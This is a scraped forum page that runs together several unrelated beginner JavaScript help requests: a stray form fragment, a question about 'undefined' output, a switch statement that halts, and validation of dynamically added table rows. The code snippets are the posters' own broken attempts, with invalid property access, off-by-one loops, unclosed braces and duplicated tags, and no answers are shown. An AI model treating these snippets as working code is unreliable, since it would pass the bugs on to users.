<h3>Custom Sentence Assembler</h3> <input type="text" name="word1" size="15" /><br/> <input type="text" name="word2" size="15" /><br/> <input type="text" name="word3" size="15" /><br/> <input type="text" name="word4" size="15" /><br/> <input type="text" name="word5" size="15" /><br/> <input type="button" value="Assemble!" onclick="assemble()"/> </body> </html> Hi, im completely new here and to JS. I have a project due where i have to write code to display the current time and date on an index webpage we are working on throughout the year at the university i go to. My problem is that when i view my page, it displays the date properly as i have to for class, but says the word 'undefined' immediately afterwards on my webpage. This is the page we are working on: http://unixweb.kutztown.edu/~lsant894/ can someone please look at my source and tell me why im getting this 'undefined' displayed on my page? Ive searched all day and cant find a helpful answer anywhere. Following is a code snippet. Not fully functional, but a demonstration of frustration I've been working on for the last few hours. There appears to be something wrong with the switch command in the function. When the switch command commented out, you can see the "After switch" displayed in the output div. If it is not commented out, "After switch" does not show up. It's as if code processing is terminated by the switch command, perhaps an issue with the break. Code: <html> <head> <script type="text/javascript"> function ChangeElementColor(objName,ToColor,ColorType,Speed) { objId=document.getElementById(objName); document.getElementById("output").innerHTML="Before switch<br>"; switch(ColorType.toUpperCase()) { case "FG": CurColor=objId.style.color; break; case "BG": CurColor=objId.style.background-color; break; case "BORDER": CurColor=objId.style.border-color; break; } document.getElementById("output").innerHTML=document.getElementById("output").innerHTML+"After switch"; } </script> </head> <body> <div id="ChangeColorDiv" style="position:absolute;left:0px;top:150px;width:200px;height:40px;border:5px solid green;overflow:hidden;background-color:#ffff00" onmouseover='ChangeElementColor("ChangeColorDiv","#ff0000","BG",40);' onclick='ChangeElementColor("ChangeColorDiv","#ffff00","BG",40);'> Hover to change color ... </div> <div id="output" style="position:absolute;top:400px;border:2px solid black;width:500px;height:100px" onclick='getElementById("output").innerHTML=getElementById("ChangeColorDiv").style.color;'> </div> </body> </html> Sir please tel me how to validate,when we add dynamic rows using javascript and for that rows we have to validate.I will send the code please do some help. Code: <html> <head> <script type="text/javascript"> function validate() { var id=document.getElementById("ide"); if(id.value.length==0) { //alert("invalid id"); id.focus(); return false; } var b=document.getElementById("uname"); if(b.value.match(/^[a-zA-Z]{1,}$/)==null) { //alert("invalid name"); b.focus(); return false; } var c=document.getElementById("add"); if((c.value.length<15)||(c.value.length>60)) { //alert("invalid address"); c.focus(); return false; } var x=document.getElementsByName("email"); for(var i=0;i<=x.length;i++) { if (x[i].value=="") { alert("Please fillup atleast one textbox"); x[i].focus(); return false; } //var d=document.getElementsByTagName("email"); var e=document.getElementById("phone"); if(e.value.length==0) { alert("invlaid phone"); e.focus(); return false; } var f=document.getElementById("city"); if(f.value.length==0) { alert("invlaid city"); f.focus(); return false; } return true; } </script> </head> <body onLoad="document.test.ide.focus();"/> <form name="test"> <tr> ID:<input type="text" name="ide" id="ide" /> NAME:<input type="text" name="uname" id="uname" value="" /> <textarea name="add" rows="3" cols="10" id="add" ></textarea> </tr> </table> <br> <input type="submit" value="Submit" onClick="return validate();"> </body> <meta http-equiv="Content-Script-Type" content="text/javascript"> <script type="text/javascript"> var clone; function cloneRow(){ var rows=document.getElementById('mytab').getElementsByTagName('tr'); for(var count=0;count<=rows.length;count++) { onclick=validate(); } var index=rows.length; clone=rows[index-1].cloneNode(true); var inputs=clone.getElementsByTagName('input'), inp, i=0 ; while(inp=inputs[i++]){ inp.name=inp.name.replace(/\d/g,'')+(index+1); } } //onload=validate(); function addRow(){ var tbo=document.getElementById('mytab').getElementsByTagName('tbody')[0]; tbo.appendChild(clone); cloneRow(); //tbo.validate(); } onload=cloneRow; </script> </head> <body> <form> <table id="mytab"> <tr> <td>Email</td><td><input type="text" name="email" id="email" value=""></td> <td>Phone No.</td><td> <input type="text" name="phone" id="phone" value=""></td> <td>City</td><td> <input type="text" name="city" id="city" value=""></td> </tr> </table> <br> <input type="button" value="Add a new row" onclick="addRow()"> </form> </body> </html> |